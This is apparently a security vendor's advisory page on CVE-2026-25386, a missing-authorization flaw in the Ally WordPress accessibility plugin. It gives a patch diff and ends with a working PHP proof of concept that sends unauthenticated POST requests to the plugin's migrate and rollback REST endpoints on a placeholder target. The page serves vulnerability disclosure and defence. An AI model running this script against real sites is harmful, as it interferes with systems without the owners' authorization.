Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2026-25386: Ally <= 4.0.2 – Missing Authorization (pojo-accessibility)

CVE ID CVE-2026-25386
Plugin pojo-accessibility
Severity Medium (CVSS 5.3)
CWE 862
Vulnerable Version 4.0.2
Patched Version 4.0.3
Disclosed February 18, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-25386:
The Ally WordPress plugin (versions <=4.0.2) contains a missing authorization vulnerability in its WP One Package component. This flaw allows unauthenticated attackers to trigger plugin migration and rollback operations, potentially disrupting plugin functionality. The vulnerability has a CVSS score of 5.3 (Medium severity).

Root Cause:
The vulnerability exists in the `Plugins` controller class within the WP One Package library (`/vendor/elementor/wp-one-package/src/Admin/Controllers/Plugins.php`). The `user_can_run_migration` function (line 430) and `user_can_manage_plugin_status` function (line 403) lacked capability checks in version 4.0.2. These functions serve as permission callbacks for REST API endpoints that handle plugin migration operations. Without proper authorization checks, unauthenticated users could access these administrative endpoints.

Exploitation:
Attackers can send HTTP POST requests to the WordPress REST API endpoints that trigger migration or rollback operations. The vulnerable endpoints are `/wp-json/elementor-one/v1/plugins/{slug}/migrate` and `/wp-json/elementor-one/v1/plugins/{slug}/rollback`. An attacker would identify the plugin slug (typically 'pojo-accessibility') and send requests with appropriate parameters. No authentication or nonce is required in vulnerable versions.

Patch Analysis:
The patch adds capability checks to both vulnerable functions. In `user_can_run_migration` (lines 431-439) and `user_can_manage_plugin_status` (lines 404-412), the patch inserts `if ( ! current_user_can( 'manage_options' ) )` blocks that return WP_Error responses when users lack administrator privileges. The patch also updates the plugin version from 4.0.2 to 4.0.3 and updates the WP One Package dependency from version 1.0.46 to 1.0.47.

Impact:
Successful exploitation allows unauthenticated attackers to trigger plugin migration processes, potentially causing service disruption. While the migration operations themselves have internal validation, unauthorized triggering could interfere with normal plugin operations. Attackers could also attempt to rollback migrations, though this requires the plugin to already be in a migrated state.

Differential between vulnerable and patched code

Code Diff 
--- a/pojo-accessibility/pojo-accessibility.php
+++ b/pojo-accessibility/pojo-accessibility.php
@@ -5,7 +5,7 @@
  * Description: Improve your website’s accessibility with ease. Customize capabilities such as text resizing, contrast modes, link highlights, and easily generate an accessibility statement to demonstrate your commitment to inclusivity.
  * Author: Elementor.com
  * Author URI: https://elementor.com/
- * Version: 4.0.2
+ * Version: 4.0.3
  * Text Domain: pojo-accessibility
  */

@@ -15,7 +15,7 @@

 // Legacy
 define( 'POJO_A11Y_CUSTOMIZER_OPTIONS', 'pojo_a11y_customizer_options' );
-define( 'EA11Y_VERSION', '4.0.2' );
+define( 'EA11Y_VERSION', '4.0.3' );
 define( 'EA11Y_MAIN_FILE', __FILE__ );
 define( 'EA11Y_BASE', plugin_basename( EA11Y_MAIN_FILE ) );
 define( 'EA11Y_PATH', plugin_dir_path( __FILE__ ) );
--- a/pojo-accessibility/vendor/autoload.php
+++ b/pojo-accessibility/vendor/autoload.php
@@ -19,4 +19,4 @@

 require_once __DIR__ . '/composer/autoload_real.php';

-return ComposerAutoloaderInit1335d4f1d94b4e23a88ba89fc891f822::getLoader();
+return ComposerAutoloaderInitef41055ec0a167b43a405426e1a63230::getLoader();
--- a/pojo-accessibility/vendor/composer/autoload_real.php
+++ b/pojo-accessibility/vendor/composer/autoload_real.php
@@ -2,7 +2,7 @@

 // autoload_real.php @generated by Composer

-class ComposerAutoloaderInit1335d4f1d94b4e23a88ba89fc891f822
+class ComposerAutoloaderInitef41055ec0a167b43a405426e1a63230
 {
     private static $loader;

@@ -24,16 +24,16 @@

         require __DIR__ . '/platform_check.php';

-        spl_autoload_register(array('ComposerAutoloaderInit1335d4f1d94b4e23a88ba89fc891f822', 'loadClassLoader'), true, true);
+        spl_autoload_register(array('ComposerAutoloaderInitef41055ec0a167b43a405426e1a63230', 'loadClassLoader'), true, true);
         self::$loader = $loader = new ComposerAutoloadClassLoader(dirname(__DIR__));
-        spl_autoload_unregister(array('ComposerAutoloaderInit1335d4f1d94b4e23a88ba89fc891f822', 'loadClassLoader'));
+        spl_autoload_unregister(array('ComposerAutoloaderInitef41055ec0a167b43a405426e1a63230', 'loadClassLoader'));

         require __DIR__ . '/autoload_static.php';
-        call_user_func(ComposerAutoloadComposerStaticInit1335d4f1d94b4e23a88ba89fc891f822::getInitializer($loader));
+        call_user_func(ComposerAutoloadComposerStaticInitef41055ec0a167b43a405426e1a63230::getInitializer($loader));

         $loader->register(true);

-        $filesToLoad = ComposerAutoloadComposerStaticInit1335d4f1d94b4e23a88ba89fc891f822::$files;
+        $filesToLoad = ComposerAutoloadComposerStaticInitef41055ec0a167b43a405426e1a63230::$files;
         $requireFile = Closure::bind(static function ($fileIdentifier, $file) {
             if (empty($GLOBALS['__composer_autoload_files'][$fileIdentifier])) {
                 $GLOBALS['__composer_autoload_files'][$fileIdentifier] = true;
--- a/pojo-accessibility/vendor/composer/autoload_static.php
+++ b/pojo-accessibility/vendor/composer/autoload_static.php
@@ -4,7 +4,7 @@

 namespace ComposerAutoload;

-class ComposerStaticInit1335d4f1d94b4e23a88ba89fc891f822
+class ComposerStaticInitef41055ec0a167b43a405426e1a63230
 {
     public static $files = array (
         '9db71c6726821ac61284818089584d23' => __DIR__ . '/..' . '/elementor/wp-one-package/runner.php',
@@ -39,9 +39,9 @@
     public static function getInitializer(ClassLoader $loader)
     {
         return Closure::bind(function () use ($loader) {
-            $loader->prefixLengthsPsr4 = ComposerStaticInit1335d4f1d94b4e23a88ba89fc891f822::$prefixLengthsPsr4;
-            $loader->prefixDirsPsr4 = ComposerStaticInit1335d4f1d94b4e23a88ba89fc891f822::$prefixDirsPsr4;
-            $loader->classMap = ComposerStaticInit1335d4f1d94b4e23a88ba89fc891f822::$classMap;
+            $loader->prefixLengthsPsr4 = ComposerStaticInitef41055ec0a167b43a405426e1a63230::$prefixLengthsPsr4;
+            $loader->prefixDirsPsr4 = ComposerStaticInitef41055ec0a167b43a405426e1a63230::$prefixDirsPsr4;
+            $loader->classMap = ComposerStaticInitef41055ec0a167b43a405426e1a63230::$classMap;

         }, null, ClassLoader::class);
     }
--- a/pojo-accessibility/vendor/composer/installed.php
+++ b/pojo-accessibility/vendor/composer/installed.php
@@ -3,7 +3,7 @@
         'name' => 'pojome/pojo-accessibility',
         'pretty_version' => 'dev-master',
         'version' => 'dev-master',
-        'reference' => '4d896c2286586f44617dc24da6eb4b3be581045e',
+        'reference' => '970aefbc629fc07654c273ef06e856537a91617b',
         'type' => 'library',
         'install_path' => __DIR__ . '/../../',
         'aliases' => array(),
@@ -20,9 +20,9 @@
             'dev_requirement' => false,
         ),
         'elementor/wp-one-package' => array(
-            'pretty_version' => '1.0.46',
-            'version' => '1.0.46.0',
-            'reference' => '744191f07ac0dcb266dc4a9ee49bb12616a53bb8',
+            'pretty_version' => '1.0.47',
+            'version' => '1.0.47.0',
+            'reference' => '79b558c889e20b2dfd7aaff33ddf902746a9aac8',
             'type' => 'library',
             'install_path' => __DIR__ . '/../elementor/wp-one-package',
             'aliases' => array(),
@@ -40,7 +40,7 @@
         'pojome/pojo-accessibility' => array(
             'pretty_version' => 'dev-master',
             'version' => 'dev-master',
-            'reference' => '4d896c2286586f44617dc24da6eb4b3be581045e',
+            'reference' => '970aefbc629fc07654c273ef06e856537a91617b',
             'type' => 'library',
             'install_path' => __DIR__ . '/../../',
             'aliases' => array(),
--- a/pojo-accessibility/vendor/elementor/wp-one-package/runner.php
+++ b/pojo-accessibility/vendor/elementor/wp-one-package/runner.php
@@ -32,25 +32,25 @@
 	$pattern = '#^' . preg_quote( WP_PLUGIN_DIR, '#' ) . '/([^\/]+)#';
 	$plugin_slug = preg_match( $pattern, __DIR__, $matches ) ? $matches[1] : null;
 	if ( $plugin_slug ) {
-		$wp_one_package_versions[ $plugin_slug ] = '1.0.46';
+		$wp_one_package_versions[ $plugin_slug ] = '1.0.47';
 	}
 }

-if ( ! function_exists( 'elementor_one_register_1_dot_0_dot_46' ) && function_exists( 'add_action' ) ) {
+if ( ! function_exists( 'elementor_one_register_1_dot_0_dot_47' ) && function_exists( 'add_action' ) ) {

 	if ( ! class_exists( 'ElementorOneVersions', false ) ) {
 		require_once __DIR__ . '/src/Versions.php';
 		add_action( 'plugins_loaded', [ ElementorOneVersions::class, 'initialize_latest_version' ], -15, 0 );
 	}

-	add_action( 'plugins_loaded', 'elementor_one_register_1_dot_0_dot_46', -20, 0 );
+	add_action( 'plugins_loaded', 'elementor_one_register_1_dot_0_dot_47', -20, 0 );

-	function elementor_one_register_1_dot_0_dot_46() {
+	function elementor_one_register_1_dot_0_dot_47() {
 		$versions = ElementorOneVersions::instance();
-		$versions->register( '1.0.46', 'elementor_one_initialize_1_dot_0_dot_46' );
+		$versions->register( '1.0.47', 'elementor_one_initialize_1_dot_0_dot_47' );
 	}

-	function elementor_one_initialize_1_dot_0_dot_46() {
+	function elementor_one_initialize_1_dot_0_dot_47() {
 		// The Loader class will be autoloaded from the highest version source
 		ElementorOneLoader::init();
 	}
--- a/pojo-accessibility/vendor/elementor/wp-one-package/src/Admin/Components/EditorUpdateNotification.php
+++ b/pojo-accessibility/vendor/elementor/wp-one-package/src/Admin/Components/EditorUpdateNotification.php
@@ -2,6 +2,8 @@

 namespace ElementorOneAdminComponents;

+use ElementorOneCommonSupportedPlugins;
+
 if ( ! defined( 'ABSPATH' ) ) {
 	exit; // Exit if accessed directly
 }
@@ -80,8 +82,7 @@
 	public function editor_has_wp_one_package(): bool {
 		global $wp_one_package_versions;

-		$plugin_slug = dirname( self::EDITOR_PLUGIN_FILE );
-		return isset( $wp_one_package_versions[ $plugin_slug ] );
+		return isset( $wp_one_package_versions[ SupportedPlugins::ELEMENTOR ] );
 	}

 	/**
--- a/pojo-accessibility/vendor/elementor/wp-one-package/src/Admin/Components/Page.php
+++ b/pojo-accessibility/vendor/elementor/wp-one-package/src/Admin/Components/Page.php
@@ -59,7 +59,6 @@
 			remove_all_actions( 'user_admin_notices' );
 			remove_all_actions( 'all_admin_notices' );
 			remove_all_actions( 'admin_notices' );
-			remove_all_actions( 'in_admin_header' );
 		}
 	}

--- a/pojo-accessibility/vendor/elementor/wp-one-package/src/Admin/Controllers/Plugins.php
+++ b/pojo-accessibility/vendor/elementor/wp-one-package/src/Admin/Controllers/Plugins.php
@@ -348,7 +348,7 @@
 		$plugin_slug = $request->get_url_params()['slug'];

 		try {
-			Migration::run( $plugin_slug, $request['force'] );
+			Migration::instance()->run( $plugin_slug, $request['force'] );
 		} catch ( MigrationException $e ) {
 			return RestError::custom_error( 'migration_exception', $e->getMessage(), $e->getCode() );
 		} catch ( Throwable $th ) {
@@ -367,7 +367,7 @@
 		$plugin_slug = $request->get_url_params()['slug'];

 		try {
-			Migration::rollback( $plugin_slug );
+			Migration::instance()->rollback( $plugin_slug );
 		} catch ( MigrationException $e ) {
 			return RestError::custom_error( 'migration_exception', $e->getMessage(), $e->getCode() );
 		} catch ( Throwable $th ) {
@@ -404,6 +404,15 @@
 	 * @return true|WP_Error
 	 */
 	public function user_can_manage_plugin_status( WP_REST_Request $request ) {
+		if ( ! current_user_can( 'manage_options' ) ) {
+			$authorization_required_code = rest_authorization_required_code();
+			return RestError::custom_error(
+				WP_Http::UNAUTHORIZED === $authorization_required_code ? 'unauthorized' : 'forbidden',
+				'Sorry, you are not allowed to manage plugins for this site.',
+				$authorization_required_code
+			);
+		}
+
 		$plugin_slug = $request->get_url_params()['slug'];
 		$plugin_data = Utils::get_plugin_data( $plugin_slug );

@@ -422,6 +431,15 @@
 	 * @return true|WP_Error
 	 */
 	public function user_can_run_migration( WP_REST_Request $request ) {
+		if ( ! current_user_can( 'manage_options' ) ) {
+			$authorization_required_code = rest_authorization_required_code();
+			return RestError::custom_error(
+				WP_Http::UNAUTHORIZED === $authorization_required_code ? 'unauthorized' : 'forbidden',
+				'Sorry, you are not allowed to manage plugins for this site.',
+				$authorization_required_code
+			);
+		}
+
 		$plugin_slug = $request->get_url_params()['slug'];
 		$plugin_data = Utils::get_plugin_data( $plugin_slug );

--- a/pojo-accessibility/vendor/elementor/wp-one-package/src/Admin/Services/Migration.php
+++ b/pojo-accessibility/vendor/elementor/wp-one-package/src/Admin/Services/Migration.php
@@ -147,7 +147,7 @@
 			}

 			try {
-				self::run( $plugin_slug );
+				$this->run( $plugin_slug );
 			} catch ( Throwable $th ) {
 				$this->logger->error( $th->getMessage() );
 			}
@@ -216,7 +216,7 @@
 	 * @param bool $force Whether to force migration even if the plugin is already connected
 	 * @return void
 	 */
-	public static function run( string $plugin_slug, bool $force = false ): void {
+	public function run( string $plugin_slug, bool $force = false ): void {
 		$migrated_plugins = self::get_migrated_plugins();

 		// If the plugin is already migrated, do nothing
@@ -245,7 +245,12 @@
 					if ( ! $force ) {
 						throw new MigrationException( 'Plugin is already connected.', WP_Http::UNPROCESSABLE_ENTITY );
 					}
-					$facade->service()->deactivate_license();
+					try {
+						$facade->service()->deactivate_license();
+					} catch ( Throwable $th ) {
+						$facade->data()->clear_session();
+						$this->logger->error( $th->getMessage() );
+					}
 				}
 				break;
 		}
@@ -266,7 +271,7 @@
 	 * @param string $plugin_slug The plugin slug to rollback
 	 * @return array
 	 */
-	public static function rollback( string $plugin_slug ): array {
+	public function rollback( string $plugin_slug ): array {
 		$migrated_plugins = self::get_migrated_plugins();

 		if ( self::is_migrated( $plugin_slug, $migrated_plugins ) ) {

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC 
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-25386 - Ally <= 4.0.2 - Missing Authorization

<?php

$target_url = 'http://vulnerable-wordpress-site.com';
$plugin_slug = 'pojo-accessibility';

// Endpoint for triggering migration
$migrate_endpoint = '/wp-json/elementor-one/v1/plugins/' . $plugin_slug . '/migrate';

// Prepare the request
$ch = curl_init($target_url . $migrate_endpoint);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HTTPHEADER, [
    'Content-Type: application/json',
]);

// Send the request without authentication
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);

curl_close($ch);

// Check response
if ($http_code === 200) {
    echo "VULNERABLE: Successfully triggered migration without authenticationn";
    echo "Response: " . $response . "n";
} else {
    echo "PATCHED or ERROR: HTTP $http_coden";
    echo "Response: " . $response . "n";
}

// Optional: Test rollback endpoint
$rollback_endpoint = '/wp-json/elementor-one/v1/plugins/' . $plugin_slug . '/rollback';
$ch2 = curl_init($target_url . $rollback_endpoint);
curl_setopt($ch2, CURLOPT_POST, true);
curl_setopt($ch2, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch2, CURLOPT_HTTPHEADER, [
    'Content-Type: application/json',
]);

$response2 = curl_exec($ch2);
$http_code2 = curl_getinfo($ch2, CURLINFO_HTTP_CODE);
curl_close($ch2);

if ($http_code2 === 200) {
    echo "VULNERABLE: Successfully triggered rollback without authenticationn";
    echo "Response: " . $response2 . "n";
}

?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School